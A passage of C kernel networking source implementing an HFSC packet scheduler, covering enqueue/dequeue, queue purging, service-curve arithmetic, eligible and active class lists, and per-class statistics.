/* packet enqueued, return advisory feedback */
ret = EQFULL;
} else {
VERIFY(ret == CLASSQEQ_DROPPED ||
ret == CLASSQEQ_DROPPED_FC ||
ret == CLASSQEQ_DROPPED_SP);
/* packet has been freed in hfsc_addq */
PKTCNTR_ADD(&cl->cl_stats.drop_cnt, 1, len);
IFCQ_DROP_ADD(ifq, 1, len);
switch (ret) {
case CLASSQEQ_DROPPED:
return (ENOBUFS);
case CLASSQEQ_DROPPED_FC:
return (EQFULL);
case CLASSQEQ_DROPPED_SP:
return (EQSUSPENDED);
}
/* NOT_REACHED */
}
}
IFCQ_INC_LEN(ifq);
IFCQ_INC_BYTES(ifq, len);
cl->cl_hif->hif_packets++;
/* successfully queued. */
if (qlen(&cl->cl_q) == 1)
set_active(cl, len);
return (ret);
}
/*
* note: CLASSQDQ_POLL returns the next packet without removing the packet
* from the queue. CLASSQDQ_REMOVE is a normal dequeue operation.
* CLASSQDQ_REMOVE must return the same packet if called immediately
* after CLASSQDQ_POLL.
*/
struct mbuf *
hfsc_dequeue(struct hfsc_if *hif, cqdq_op_t op)
{
struct ifclassq *ifq = hif->hif_ifq;
struct hfsc_class *cl;
struct mbuf *m;
u_int32_t len, next_len;
int realtime = 0;
u_int64_t cur_time;
IFCQ_LOCK_ASSERT_HELD(ifq);
if (hif->hif_packets == 0)
/* no packet in the tree */
return (NULL);
cur_time = read_machclk();
if (op == CLASSQDQ_REMOVE && hif->hif_pollcache != NULL) {
cl = hif->hif_pollcache;
hif->hif_pollcache = NULL;
/* check if the class was scheduled by real-time criteria */
if (cl->cl_flags & HFCF_RSC)
realtime = (cl->cl_e <= cur_time);
} else {
/*
* if there are eligible classes, use real-time criteria.
* find the class with the minimum deadline among
* the eligible classes.
*/
if ((cl = ellist_get_mindl(&hif->hif_eligible, cur_time))
!= NULL) {
realtime = 1;
} else {
int fits = 0;
/*
* use link-sharing criteria
* get the class with the minimum vt in the hierarchy
*/
cl = hif->hif_rootclass;
while (HFSC_IS_A_PARENT_CLASS(cl)) {
cl = actlist_firstfit(cl, cur_time);
if (cl == NULL) {
if (fits > 0)
log(LOG_ERR, "%s: %s "
"%d fit but none found\n",
if_name(HFSCIF_IFP(hif)),
hfsc_style(hif), fits);
return (NULL);
}
/*
* update parent's cl_cvtmin.
* don't update if the new vt is smaller.
*/
if (cl->cl_parent->cl_cvtmin < cl->cl_vt)
cl->cl_parent->cl_cvtmin = cl->cl_vt;
fits++;
}
}
if (op == CLASSQDQ_POLL) {
hif->hif_pollcache = cl;
m = hfsc_pollq(cl);
return (m);
}
}
m = hfsc_getq(cl);
VERIFY(m != NULL);
len = m_pktlen(m);
cl->cl_hif->hif_packets--;
IFCQ_DEC_LEN(ifq);
IFCQ_DEC_BYTES(ifq, len);
IFCQ_XMIT_ADD(ifq, 1, len);
PKTCNTR_ADD(&cl->cl_stats.xmit_cnt, 1, len);
update_vf(cl, len, cur_time);
if (realtime)
cl->cl_cumul += len;
if (!qempty(&cl->cl_q)) {
if (cl->cl_flags & HFCF_RSC) {
/* update ed */
next_len = m_pktlen(qhead(&cl->cl_q));
if (realtime)
update_ed(cl, next_len);
else
update_d(cl, next_len);
}
} else {
/* the class becomes passive */
set_passive(cl);
}
return (m);
}
static int
hfsc_addq(struct hfsc_class *cl, struct mbuf *m, struct pf_mtag *t)
{
struct ifclassq *ifq = cl->cl_hif->hif_ifq;
IFCQ_LOCK_ASSERT_HELD(ifq);
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
return (rio_addq(cl->cl_rio, &cl->cl_q, m, t));
else
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
return (red_addq(cl->cl_red, &cl->cl_q, m, t));
else
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
return (blue_addq(cl->cl_blue, &cl->cl_q, m, t));
else
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q)) {
if (cl->cl_sfb == NULL) {
struct ifnet *ifp = HFSCIF_IFP(cl->cl_hif);
VERIFY(cl->cl_flags & HFCF_LAZY);
IFCQ_CONVERT_LOCK(ifq);
cl->cl_sfb = sfb_alloc(ifp, cl->cl_handle,
qlimit(&cl->cl_q), cl->cl_qflags);
if (cl->cl_sfb == NULL) {
/* fall back to droptail */
qtype(&cl->cl_q) = Q_DROPTAIL;
cl->cl_flags &= ~HFCF_SFB;
cl->cl_qflags &= ~(SFBF_ECN | SFBF_FLOWCTL);
log(LOG_ERR, "%s: %s SFB lazy allocation "
"failed for qid=%d slot=%d, falling back "
"to DROPTAIL\n", if_name(ifp),
hfsc_style(cl->cl_hif), cl->cl_handle,
cl->cl_id);
}
}
if (cl->cl_sfb != NULL)
return (sfb_addq(cl->cl_sfb, &cl->cl_q, m, t));
} else if (qlen(&cl->cl_q) >= qlimit(&cl->cl_q)) {
IFCQ_CONVERT_LOCK(ifq);
m_freem(m);
return (CLASSQEQ_DROPPED);
}
#if PF_ECN
if (cl->cl_flags & HFCF_CLEARDSCP)
write_dsfield(m, t, 0);
#endif /* PF_ECN */
_addq(&cl->cl_q, m);
return (0);
}
static struct mbuf *
hfsc_getq(struct hfsc_class *cl)
{
IFCQ_LOCK_ASSERT_HELD(cl->cl_hif->hif_ifq);
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
return (rio_getq(cl->cl_rio, &cl->cl_q));
else
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
return (red_getq(cl->cl_red, &cl->cl_q));
else
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
return (blue_getq(cl->cl_blue, &cl->cl_q));
else
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
return (sfb_getq(cl->cl_sfb, &cl->cl_q));
return (_getq(&cl->cl_q));
}
static struct mbuf *
hfsc_pollq(struct hfsc_class *cl)
{
IFCQ_LOCK_ASSERT_HELD(cl->cl_hif->hif_ifq);
return (qhead(&cl->cl_q));
}
static void
hfsc_purgeq(struct hfsc_if *hif, struct hfsc_class *cl, u_int32_t flow,
u_int32_t *packets, u_int32_t *bytes)
{
struct ifclassq *ifq = hif->hif_ifq;
u_int32_t cnt = 0, len = 0, qlen;
IFCQ_LOCK_ASSERT_HELD(ifq);
if ((qlen = qlen(&cl->cl_q)) == 0) {
VERIFY(hif->hif_packets == 0);
goto done;
}
/* become regular mutex before freeing mbufs */
IFCQ_CONVERT_LOCK(ifq);
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
rio_purgeq(cl->cl_rio, &cl->cl_q, flow, &cnt, &len);
else
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
red_purgeq(cl->cl_red, &cl->cl_q, flow, &cnt, &len);
else
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
blue_purgeq(cl->cl_blue, &cl->cl_q, flow, &cnt, &len);
else
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
sfb_purgeq(cl->cl_sfb, &cl->cl_q, flow, &cnt, &len);
else
_flushq_flow(&cl->cl_q, flow, &cnt, &len);
if (cnt > 0) {
VERIFY(qlen(&cl->cl_q) == (qlen - cnt));
PKTCNTR_ADD(&cl->cl_stats.drop_cnt, cnt, len);
IFCQ_DROP_ADD(ifq, cnt, len);
VERIFY(hif->hif_packets >= cnt);
hif->hif_packets -= cnt;
VERIFY(((signed)IFCQ_LEN(ifq) - cnt) >= 0);
IFCQ_LEN(ifq) -= cnt;
if (qempty(&cl->cl_q)) {
update_vf(cl, 0, 0); /* remove cl from the actlist */
set_passive(cl);
}
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s purge qid=%d slot=%d "
"qlen=[%d,%d] cnt=%d len=%d flow=0x%x\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif),
cl->cl_handle, cl->cl_id, qlen, qlen(&cl->cl_q),
cnt, len, flow);
}
}
done:
if (packets != NULL)
*packets = cnt;
if (bytes != NULL)
*bytes = len;
}
static void
hfsc_print_sc(struct hfsc_if *hif, u_int32_t qid, u_int64_t eff_rate,
struct service_curve *sc, struct internal_sc *isc, const char *which)
{
struct ifnet *ifp = HFSCIF_IFP(hif);
log(LOG_DEBUG, "%s: %s qid=%d {%s_m1=%llu%s [%llu], "
"%s_d=%u msec, %s_m2=%llu%s [%llu]} linkrate=%llu bps\n",
if_name(ifp), hfsc_style(hif), qid,
which, sc->m1, (sc->fl & HFSCF_M1_PCT) ? "%" : " bps", isc->sm1,
which, sc->d,
which, sc->m2, (sc->fl & HFSCF_M2_PCT) ? "%" : " bps", isc->sm2,
eff_rate);
}
static void
hfsc_updateq_linkrate(struct hfsc_if *hif, struct hfsc_class *cl)
{
u_int64_t eff_rate = ifnet_output_linkrate(HFSCIF_IFP(hif));
struct service_curve *sc;
struct internal_sc *isc;
/* Update parameters only if rate has changed */
if (eff_rate == hif->hif_eff_rate)
return;
sc = &cl->cl_rsc0;
isc = &cl->cl_rsc;
if ((cl->cl_flags & HFCF_RSC) && sc2isc(cl, sc, isc, eff_rate)) {
rtsc_init(&cl->cl_deadline, isc, 0, 0);
rtsc_init(&cl->cl_eligible, isc, 0, 0);
if (pktsched_verbose) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
sc, isc, "rsc");
}
}
sc = &cl->cl_fsc0;
isc = &cl->cl_fsc;
if ((cl->cl_flags & HFCF_FSC) && sc2isc(cl, sc, isc, eff_rate)) {
rtsc_init(&cl->cl_virtual, isc, 0, 0);
if (pktsched_verbose) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
sc, isc, "fsc");
}
}
sc = &cl->cl_usc0;
isc = &cl->cl_usc;
if ((cl->cl_flags & HFCF_USC) && sc2isc(cl, sc, isc, eff_rate)) {
rtsc_init(&cl->cl_ulimit, isc, 0, 0);
if (pktsched_verbose) {
hfsc_print_sc(hif, cl->cl_handle, eff_rate,
sc, isc, "usc");
}
}
}
static void
hfsc_updateq(struct hfsc_if *hif, struct hfsc_class *cl, cqev_t ev)
{
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
if (pktsched_verbose) {
log(LOG_DEBUG, "%s: %s update qid=%d slot=%d event=%s\n",
if_name(HFSCIF_IFP(hif)), hfsc_style(hif),
cl->cl_handle, cl->cl_id, ifclassq_ev2str(ev));
}
if (ev == CLASSQ_EV_LINK_BANDWIDTH)
hfsc_updateq_linkrate(hif, cl);
#if CLASSQ_RIO
if (q_is_rio(&cl->cl_q))
return (rio_updateq(cl->cl_rio, ev));
#endif /* CLASSQ_RIO */
#if CLASSQ_RED
if (q_is_red(&cl->cl_q))
return (red_updateq(cl->cl_red, ev));
#endif /* CLASSQ_RED */
#if CLASSQ_BLUE
if (q_is_blue(&cl->cl_q))
return (blue_updateq(cl->cl_blue, ev));
#endif /* CLASSQ_BLUE */
if (q_is_sfb(&cl->cl_q) && cl->cl_sfb != NULL)
return (sfb_updateq(cl->cl_sfb, ev));
}
static void
set_active(struct hfsc_class *cl, u_int32_t len)
{
if (cl->cl_flags & HFCF_RSC)
init_ed(cl, len);
if (cl->cl_flags & HFCF_FSC)
init_vf(cl, len);
cl->cl_stats.period++;
}
static void
set_passive(struct hfsc_class *cl)
{
if (cl->cl_flags & HFCF_RSC)
ellist_remove(cl);
/*
* actlist is now handled in update_vf() so that update_vf(cl, 0, 0)
* needs to be called explicitly to remove a class from actlist
*/
}
static void
init_ed(struct hfsc_class *cl, u_int32_t next_len)
{
u_int64_t cur_time;
cur_time = read_machclk();
/* update the deadline curve */
rtsc_min(&cl->cl_deadline, &cl->cl_rsc, cur_time, cl->cl_cumul);
/*
* update the eligible curve.
* for concave, it is equal to the deadline curve.
* for convex, it is a linear curve with slope m2.
*/
cl->cl_eligible = cl->cl_deadline;
if (cl->cl_rsc.sm1 <= cl->cl_rsc.sm2) {
cl->cl_eligible.dx = 0;
cl->cl_eligible.dy = 0;
}
/* compute e and d */
cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul);
cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);
ellist_insert(cl);
}
static void
update_ed(struct hfsc_class *cl, u_int32_t next_len)
{
cl->cl_e = rtsc_y2x(&cl->cl_eligible, cl->cl_cumul);
cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);
ellist_update(cl);
}
static void
update_d(struct hfsc_class *cl, u_int32_t next_len)
{
cl->cl_d = rtsc_y2x(&cl->cl_deadline, cl->cl_cumul + next_len);
}
static void
init_vf(struct hfsc_class *cl, u_int32_t len)
{
#pragma unused(len)
struct hfsc_class *max_cl, *p;
u_int64_t vt, f, cur_time;
int go_active;
cur_time = 0;
go_active = 1;
for (; cl->cl_parent != NULL; cl = cl->cl_parent) {
if (go_active && cl->cl_nactive++ == 0)
go_active = 1;
else
go_active = 0;
if (go_active) {
max_cl = actlist_last(&cl->cl_parent->cl_actc);
if (max_cl != NULL) {
/*
* set vt to the average of the min and max
* classes. if the parent's period didn't
* change, don't decrease vt of the class.
*/
vt = max_cl->cl_vt;
if (cl->cl_parent->cl_cvtmin != 0)
vt = (cl->cl_parent->cl_cvtmin + vt)/2;
if (cl->cl_parent->cl_vtperiod !=
cl->cl_parentperiod || vt > cl->cl_vt)
cl->cl_vt = vt;
} else {
/*
* first child for a new parent backlog period.
* add parent's cvtmax to vtoff of children
* to make a new vt (vtoff + vt) larger than
* the vt in the last period for all children.
*/
vt = cl->cl_parent->cl_cvtmax;
for (p = cl->cl_parent->cl_children; p != NULL;
p = p->cl_siblings)
p->cl_vtoff += vt;
cl->cl_vt = 0;
cl->cl_parent->cl_cvtmax = 0;
cl->cl_parent->cl_cvtmin = 0;
}
cl->cl_initvt = cl->cl_vt;
/* update the virtual curve */
vt = cl->cl_vt + cl->cl_vtoff;
rtsc_min(&cl->cl_virtual, &cl->cl_fsc,
vt, cl->cl_total);
if (cl->cl_virtual.x == vt) {
cl->cl_virtual.x -= cl->cl_vtoff;
cl->cl_vtoff = 0;
}
cl->cl_vtadj = 0;
cl->cl_vtperiod++; /* increment vt period */
cl->cl_parentperiod = cl->cl_parent->cl_vtperiod;
if (cl->cl_parent->cl_nactive == 0)
cl->cl_parentperiod++;
cl->cl_f = 0;
actlist_insert(cl);
if (cl->cl_flags & HFCF_USC) {
/* class has upper limit curve */
if (cur_time == 0)
cur_time = read_machclk();
/* update the ulimit curve */
rtsc_min(&cl->cl_ulimit, &cl->cl_usc, cur_time,
cl->cl_total);
/* compute myf */
cl->cl_myf = rtsc_y2x(&cl->cl_ulimit,
cl->cl_total);
cl->cl_myfadj = 0;
}
}
if (cl->cl_myf > cl->cl_cfmin)
f = cl->cl_myf;
else
f = cl->cl_cfmin;
if (f != cl->cl_f) {
cl->cl_f = f;
update_cfmin(cl->cl_parent);
}
}
}
static void
update_vf(struct hfsc_class *cl, u_int32_t len, u_int64_t cur_time)
{
#pragma unused(cur_time)
#if 0
u_int64_t myf_bound, delta;
#endif
u_int64_t f;
int go_passive;
go_passive = (qempty(&cl->cl_q) && (cl->cl_flags & HFCF_FSC));
for (; cl->cl_parent != NULL; cl = cl->cl_parent) {
cl->cl_total += len;
if (!(cl->cl_flags & HFCF_FSC) || cl->cl_nactive == 0)
continue;
if (go_passive && --cl->cl_nactive == 0)
go_passive = 1;
else
go_passive = 0;
if (go_passive) {
/* no more active child, going passive */
/* update cvtmax of the parent class */
if (cl->cl_vt > cl->cl_parent->cl_cvtmax)
cl->cl_parent->cl_cvtmax = cl->cl_vt;
/* remove this class from the vt list */
actlist_remove(cl);
update_cfmin(cl->cl_parent);
continue;
}
/*
* update vt and f
*/
cl->cl_vt = rtsc_y2x(&cl->cl_virtual, cl->cl_total)
- cl->cl_vtoff + cl->cl_vtadj;
/*
* if vt of the class is smaller than cvtmin,
* the class was skipped in the past due to non-fit.
* if so, we need to adjust vtadj.
*/
if (cl->cl_vt < cl->cl_parent->cl_cvtmin) {
cl->cl_vtadj += cl->cl_parent->cl_cvtmin - cl->cl_vt;
cl->cl_vt = cl->cl_parent->cl_cvtmin;
}
/* update the vt list */
actlist_update(cl);
if (cl->cl_flags & HFCF_USC) {
cl->cl_myf = cl->cl_myfadj +
rtsc_y2x(&cl->cl_ulimit, cl->cl_total);
#if 0
/*
* if myf lags behind by more than one clock tick
* from the current time, adjust myfadj to prevent
* a rate-limited class from going greedy.
* in a steady state under rate-limiting, myf
* fluctuates within one clock tick.
*/
myf_bound = cur_time - machclk_per_tick;
if (cl->cl_myf < myf_bound) {
delta = cur_time - cl->cl_myf;
cl->cl_myfadj += delta;
cl->cl_myf += delta;
}
#endif
}
/* cl_f is max(cl_myf, cl_cfmin) */
if (cl->cl_myf > cl->cl_cfmin)
f = cl->cl_myf;
else
f = cl->cl_cfmin;
if (f != cl->cl_f) {
cl->cl_f = f;
update_cfmin(cl->cl_parent);
}
}
}
static void
update_cfmin(struct hfsc_class *cl)
{
struct hfsc_class *p;
u_int64_t cfmin;
if (TAILQ_EMPTY(&cl->cl_actc)) {
cl->cl_cfmin = 0;
return;
}
cfmin = HT_INFINITY;
TAILQ_FOREACH(p, &cl->cl_actc, cl_actlist) {
if (p->cl_f == 0) {
cl->cl_cfmin = 0;
return;
}
if (p->cl_f < cfmin)
cfmin = p->cl_f;
}
cl->cl_cfmin = cfmin;
}
/*
* TAILQ based ellist and actlist implementation
* (ion wanted to make a calendar queue based implementation)
*/
/*
* eligible list holds backlogged classes being sorted by their eligible times.
* there is one eligible list per interface.
*/
static void
ellist_insert(struct hfsc_class *cl)
{
struct hfsc_if *hif = cl->cl_hif;
struct hfsc_class *p;
/* check the last entry first */
if ((p = TAILQ_LAST(&hif->hif_eligible, _eligible)) == NULL ||
p->cl_e <= cl->cl_e) {
TAILQ_INSERT_TAIL(&hif->hif_eligible, cl, cl_ellist);
return;
}
TAILQ_FOREACH(p, &hif->hif_eligible, cl_ellist) {
if (cl->cl_e < p->cl_e) {
TAILQ_INSERT_BEFORE(p, cl, cl_ellist);
return;
}
}
VERIFY(0); /* should not reach here */
}
static void
ellist_remove(struct hfsc_class *cl)
{
struct hfsc_if *hif = cl->cl_hif;
TAILQ_REMOVE(&hif->hif_eligible, cl, cl_ellist);
}
static void
ellist_update(struct hfsc_class *cl)
{
struct hfsc_if *hif = cl->cl_hif;
struct hfsc_class *p, *last;
/*
* the eligible time of a class increases monotonically.
* if the next entry has a larger eligible time, nothing to do.
*/
p = TAILQ_NEXT(cl, cl_ellist);
if (p == NULL || cl->cl_e <= p->cl_e)
return;
/* check the last entry */
last = TAILQ_LAST(&hif->hif_eligible, _eligible);
VERIFY(last != NULL);
if (last->cl_e <= cl->cl_e) {
TAILQ_REMOVE(&hif->hif_eligible, cl, cl_ellist);
TAILQ_INSERT_TAIL(&hif->hif_eligible, cl, cl_ellist);
return;
}
/*
* the new position must be between the next entry
* and the last entry
*/
while ((p = TAILQ_NEXT(p, cl_ellist)) != NULL) {
if (cl->cl_e < p->cl_e) {
TAILQ_REMOVE(&hif->hif_eligible, cl, cl_ellist);
TAILQ_INSERT_BEFORE(p, cl, cl_ellist);
return;
}
}
VERIFY(0); /* should not reach here */
}
/* find the class with the minimum deadline among the eligible classes */
static struct hfsc_class *
ellist_get_mindl(ellist_t *head, u_int64_t cur_time)
{
struct hfsc_class *p, *cl = NULL;
TAILQ_FOREACH(p, head, cl_ellist) {
if (p->cl_e > cur_time)
break;
if (cl == NULL || p->cl_d < cl->cl_d)
cl = p;
}
return (cl);
}
/*
* active children list holds backlogged child classes being sorted
* by their virtual time.
* each intermediate class has one active children list.
*/
static void
actlist_insert(struct hfsc_class *cl)
{
struct hfsc_class *p;
/* check the last entry first */
if ((p = TAILQ_LAST(&cl->cl_parent->cl_actc, _active)) == NULL ||
p->cl_vt <= cl->cl_vt) {
TAILQ_INSERT_TAIL(&cl->cl_parent->cl_actc, cl, cl_actlist);
return;
}
TAILQ_FOREACH(p, &cl->cl_parent->cl_actc, cl_actlist) {
if (cl->cl_vt < p->cl_vt) {
TAILQ_INSERT_BEFORE(p, cl, cl_actlist);
return;
}
}
VERIFY(0); /* should not reach here */
}
static void
actlist_remove(struct hfsc_class *cl)
{
TAILQ_REMOVE(&cl->cl_parent->cl_actc, cl, cl_actlist);
}
static void
actlist_update(struct hfsc_class *cl)
{
struct hfsc_class *p, *last;
/*
* the virtual time of a class increases monotonically during its
* backlogged period.
* if the next entry has a larger virtual time, nothing to do.
*/
p = TAILQ_NEXT(cl, cl_actlist);
if (p == NULL || cl->cl_vt < p->cl_vt)
return;
/* check the last entry */
last = TAILQ_LAST(&cl->cl_parent->cl_actc, _active);
VERIFY(last != NULL);
if (last->cl_vt <= cl->cl_vt) {
TAILQ_REMOVE(&cl->cl_parent->cl_actc, cl, cl_actlist);
TAILQ_INSERT_TAIL(&cl->cl_parent->cl_actc, cl, cl_actlist);
return;
}
/*
* the new position must be between the next entry
* and the last entry
*/
while ((p = TAILQ_NEXT(p, cl_actlist)) != NULL) {
if (cl->cl_vt < p->cl_vt) {
TAILQ_REMOVE(&cl->cl_parent->cl_actc, cl, cl_actlist);
TAILQ_INSERT_BEFORE(p, cl, cl_actlist);
return;
}
}
VERIFY(0); /* should not reach here */
}
static struct hfsc_class *
actlist_firstfit(struct hfsc_class *cl, u_int64_t cur_time)
{
struct hfsc_class *p;
TAILQ_FOREACH(p, &cl->cl_actc, cl_actlist) {
if (p->cl_f <= cur_time)
return (p);
}
return (NULL);
}
/*
* service curve support functions
*
* external service curve parameters
* m: bits/sec
* d: msec
* internal service curve parameters
* sm: (bytes/tsc_interval) << SM_SHIFT
* ism: (tsc_count/byte) << ISM_SHIFT
* dx: tsc_count
*
* SM_SHIFT and ISM_SHIFT are scaled in order to keep effective digits.
* we should be able to handle 100K-1Gbps linkspeed with 200Hz-1GHz CPU
* speed. SM_SHIFT and ISM_SHIFT are selected to have at least 3 effective
* digits in decimal using the following table.
*
* bits/sec 100Kbps 1Mbps 10Mbps 100Mbps 1Gbps
* ----------+-------------------------------------------------------
* bytes/nsec 12.5e-6 125e-6 1250e-6 12500e-6 125000e-6
* sm(500MHz) 25.0e-6 250e-6 2500e-6 25000e-6 250000e-6
* sm(200MHz) 62.5e-6 625e-6 6250e-6 62500e-6 625000e-6
*
* nsec/byte 80000 8000 800 80 8
* ism(500MHz) 40000 4000 400 40 4
* ism(200MHz) 16000 1600 160 16 1.6
*/
#define SM_SHIFT 24
#define ISM_SHIFT 10
#define SM_MASK ((1LL << SM_SHIFT) - 1)
#define ISM_MASK ((1LL << ISM_SHIFT) - 1)
static inline u_int64_t
seg_x2y(u_int64_t x, u_int64_t sm)
{
u_int64_t y;
/*
* compute
* y = x * sm >> SM_SHIFT
* but divide it for the upper and lower bits to avoid overflow
*/
y = (x >> SM_SHIFT) * sm + (((x & SM_MASK) * sm) >> SM_SHIFT);
return (y);
}
static inline u_int64_t
seg_y2x(u_int64_t y, u_int64_t ism)
{
u_int64_t x;
if (y == 0)
x = 0;
else if (ism == HT_INFINITY)
x = HT_INFINITY;
else {
x = (y >> ISM_SHIFT) * ism
+ (((y & ISM_MASK) * ism) >> ISM_SHIFT);
}
return (x);
}
static inline u_int64_t
m2sm(u_int64_t m)
{
u_int64_t sm;
sm = (m << SM_SHIFT) / 8 / machclk_freq;
return (sm);
}
static inline u_int64_t
m2ism(u_int64_t m)
{
u_int64_t ism;
if (m == 0)
ism = HT_INFINITY;
else
ism = ((u_int64_t)machclk_freq << ISM_SHIFT) * 8 / m;
return (ism);
}
static inline u_int64_t
d2dx(u_int64_t d)
{
u_int64_t dx;
dx = (d * machclk_freq) / 1000;
return (dx);
}
static u_int64_t
sm2m(u_int64_t sm)
{
u_int64_t m;
m = (sm * 8 * machclk_freq) >> SM_SHIFT;
return (m);
}
static u_int64_t
dx2d(u_int64_t dx)
{
u_int64_t d;
d = dx * 1000 / machclk_freq;
return (d);
}
static boolean_t
sc2isc(struct hfsc_class *cl, struct service_curve *sc, struct internal_sc *isc,
u_int64_t eff_rate)
{
struct hfsc_if *hif = cl->cl_hif;
struct internal_sc oisc = *isc;
u_int64_t m1, m2;
if (eff_rate == 0 && (sc->fl & (HFSCF_M1_PCT | HFSCF_M2_PCT))) {
/*
* If service curve is configured with percentage and the
* effective uplink rate is not known, assume this is a
* transient case, and that the rate will be updated in
* the near future via CLASSQ_EV_LINK_SPEED. Pick a
* reasonable number for now, e.g. 10 Mbps.
*/
eff_rate = (10 * 1000 * 1000);
log(LOG_WARNING, "%s: %s qid=%d slot=%d eff_rate unknown; "
"using temporary rate %llu bps\n", if_name(HFSCIF_IFP(hif)),
hfsc_style(hif), cl->cl_handle, cl->cl_id, eff_rate);
}
m1 = sc->m1;
if (sc->fl & HFSCF_M1_PCT) {
VERIFY(m1 > 0 && m1 <= 100);
m1 = (eff_rate * m1) / 100;
}
m2 = sc->m2;
if (sc->fl & HFSCF_M2_PCT) {
VERIFY(m2 > 0 && m2 <= 100);
m2 = (eff_rate * m2) / 100;
}
isc->sm1 = m2sm(m1);
isc->ism1 = m2ism(m1);
isc->dx = d2dx(sc->d);
isc->dy = seg_x2y(isc->dx, isc->sm1);
isc->sm2 = m2sm(m2);
isc->ism2 = m2ism(m2);
/* return non-zero if there's any change */
return (bcmp(&oisc, isc, sizeof (*isc)));
}
/*
* initialize the runtime service curve with the given internal
* service curve starting at (x, y).
*/
static void
rtsc_init(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x,
u_int64_t y)
{
rtsc->x = x;
rtsc->y = y;
rtsc->sm1 = isc->sm1;
rtsc->ism1 = isc->ism1;
rtsc->dx = isc->dx;
rtsc->dy = isc->dy;
rtsc->sm2 = isc->sm2;
rtsc->ism2 = isc->ism2;
}
/*
* calculate the y-projection of the runtime service curve by the
* given x-projection value
*/
static u_int64_t
rtsc_y2x(struct runtime_sc *rtsc, u_int64_t y)
{
u_int64_t x;
if (y < rtsc->y)
x = rtsc->x;
else if (y <= rtsc->y + rtsc->dy) {
/* x belongs to the 1st segment */
if (rtsc->dy == 0)
x = rtsc->x + rtsc->dx;
else
x = rtsc->x + seg_y2x(y - rtsc->y, rtsc->ism1);
} else {
/* x belongs to the 2nd segment */
x = rtsc->x + rtsc->dx
+ seg_y2x(y - rtsc->y - rtsc->dy, rtsc->ism2);
}
return (x);
}
static u_int64_t
rtsc_x2y(struct runtime_sc *rtsc, u_int64_t x)
{
u_int64_t y;
if (x <= rtsc->x)
y = rtsc->y;
else if (x <= rtsc->x + rtsc->dx)
/* y belongs to the 1st segment */
y = rtsc->y + seg_x2y(x - rtsc->x, rtsc->sm1);
else
/* y belongs to the 2nd segment */
y = rtsc->y + rtsc->dy
+ seg_x2y(x - rtsc->x - rtsc->dx, rtsc->sm2);
return (y);
}
/*
* update the runtime service curve by taking the minimum of the current
* runtime service curve and the service curve starting at (x, y).
*/
static void
rtsc_min(struct runtime_sc *rtsc, struct internal_sc *isc, u_int64_t x,
u_int64_t y)
{
u_int64_t y1, y2, dx, dy;
if (isc->sm1 <= isc->sm2) {
/* service curve is convex */
y1 = rtsc_x2y(rtsc, x);
if (y1 < y)
/* the current rtsc is smaller */
return;
rtsc->x = x;
rtsc->y = y;
return;
}
/*
* service curve is concave
* compute the two y values of the current rtsc
* y1: at x
* y2: at (x + dx)
*/
y1 = rtsc_x2y(rtsc, x);
if (y1 <= y) {
/* rtsc is below isc, no change to rtsc */
return;
}
y2 = rtsc_x2y(rtsc, x + isc->dx);
if (y2 >= y + isc->dy) {
/* rtsc is above isc, replace rtsc by isc */
rtsc->x = x;
rtsc->y = y;
rtsc->dx = isc->dx;
rtsc->dy = isc->dy;
return;
}
/*
* the two curves intersect
* compute the offsets (dx, dy) using the reverse
* function of seg_x2y()
* seg_x2y(dx, sm1) == seg_x2y(dx, sm2) + (y1 - y)
*/
dx = ((y1 - y) << SM_SHIFT) / (isc->sm1 - isc->sm2);
/*
* check if (x, y1) belongs to the 1st segment of rtsc.
* if so, add the offset.
*/
if (rtsc->x + rtsc->dx > x)
dx += rtsc->x + rtsc->dx - x;
dy = seg_x2y(dx, isc->sm1);
rtsc->x = x;
rtsc->y = y;
rtsc->dx = dx;
rtsc->dy = dy;
}
int
hfsc_get_class_stats(struct hfsc_if *hif, u_int32_t qid,
struct hfsc_classstats *sp)
{
struct hfsc_class *cl;
IFCQ_LOCK_ASSERT_HELD(hif->hif_ifq);
if ((cl = hfsc_clh_to_clp(hif, qid)) == NULL)
return (EINVAL);
sp->class_id = cl->cl_id;
sp->class_handle = cl->cl_handle;
if (cl->cl_flags & HFCF_RSC) {
sp->rsc.m1 = sm2m(cl->cl_rsc.sm1);
sp->rsc.d = dx2d(cl->cl_rsc.dx);
sp->rsc.m2 = sm2m(cl->cl_rsc.sm2);
} else {
sp->rsc.m1 = 0;
sp->rsc.d = 0;
sp->rsc.m2 = 0;
}
if (cl->cl_flags & HFCF_FSC) {
sp->fsc.m1 = sm2m(cl->cl_fsc.sm1);
sp->fsc.d = dx2d(cl->cl_fsc.dx);
sp->fsc.m2 = sm2m(cl->cl_fsc.sm2);
} else {
sp->fsc.m1 = 0;
sp->fsc.d = 0;
sp->fsc.m2 = 0;
}
if (cl->cl_flags & HFCF_USC) {
sp->usc.m1 = sm2m(cl->cl_usc.sm1);
sp->usc.d = dx2d(cl->cl_usc.dx);
sp->usc.m2 = sm2m(cl->cl_usc.sm2);
} else {
sp->usc.m1 = 0;
sp->usc.d = 0;
sp->usc.m2 = 0;
}
sp->total = cl->cl_total;
sp->cumul = cl->cl_cumul;
